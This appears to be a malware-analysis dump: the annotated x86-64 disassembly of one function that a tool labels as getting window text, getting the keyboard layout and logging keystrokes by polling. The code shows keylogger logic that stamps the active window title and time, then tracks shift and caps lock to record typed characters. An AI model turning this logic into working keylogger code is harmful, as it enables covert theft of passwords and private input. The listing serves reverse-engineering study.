Function at 0x401795
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x360], ecx
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004ad5d0
mov eax, dword [rbp + 0x360]
cmp eax, 1
je 0x4017d5
mov eax, dword [rbp + 0x360]
cmp eax, 2
jne 0x40187b
lea rax, [rbp + 0xf0]
add rax, 0x10
lea rdx, str._M_CLK_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x280]
mov rdx, rax
lea rcx, [0x004f9080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [0x004f9080]
call method.std::ostream.flush__
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2a0]
mov rdx, rax
mov rcx, qword [0x004ce3f0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x2a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
jmp 0x401bab
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x338], 0
cmp qword [rbp + 0x328], 0
je 0x4018d6
mov rax, qword [rbp + 0x328]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x324], eax
mov eax, dword [rbp + 0x324]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x328], 0
je 0x4019ce
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x328]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp - 0x20]
lea rdx, [0x004f92a0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x4019ce
lea rax, [rbp - 0x20]
mov rdx, rax
lea rcx, [0x004f92a0]
call sym.strcpy
mov ecx, 0
call dbg.time
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0xe8]
mov rcx, rax
call dbg.localtime
mov qword [rbp + 0x318], rax
mov rdx, qword [rbp + 0x318]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x40
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0xf0]
add rax, 0x10
lea rdx, str._n_n_Window:
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.___at
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, [0x004c90ad]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, [0x004f9260]
call dbg.std::map<int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<int>, std::allocator<std::pair<int const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >::end() const
mov qword [rbp + 0x2c0], rax
lea rdx, [rbp + 0x360]
lea rcx, [0x004f9260]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.find_int_const
mov qword [rbp + 0x2c8], rax
lea rdx, [rbp + 0x2c0]
lea rax, [rbp + 0x2c8]
mov rcx, rax
call method.std.operator__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::cha
test al, al
je 0x401a43
lea rdx, [rbp + 0x360]
lea rcx, [0x004f9260]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.at_int_const__
mov rdx, rax
lea rax, [rbp + 0xf0]
add rax, 0x10
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
jmp 0x401b24
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x336], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x401aa8
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x401aa8
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
je 0x401aaf
mov eax, 1
jmp 0x401ab4
mov eax, 0
test al, al
je 0x401abf
xor byte [rbp + 0x336], 1
mov eax, dword [rbp + 0x360]
mov ecx, eax
mov rax, qword [rbp + 0x338]
mov r8, rax
mov edx, 2
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov byte [rbp + 0x337], al
movzx eax, byte [rbp + 0x336]
xor eax, 1
test al, al
je 0x401b0b
movsx eax, byte [rbp + 0x337]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
mov byte [rbp + 0x337], al
movsx eax, byte [rbp + 0x337]
lea rdx, [rbp + 0xf0]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2d0]
mov rdx, rax
lea rcx, [0x004f9080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [0x004f9080]
call method.std::ostream.flush__
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2f0]
mov rdx, rax
mov rcx, qword [0x004ce3f0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x2f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004ae070
mov eax, ebx
jmp 0x401c2b
add rsp, 0x3c8
pop rbx
pop rbp
ret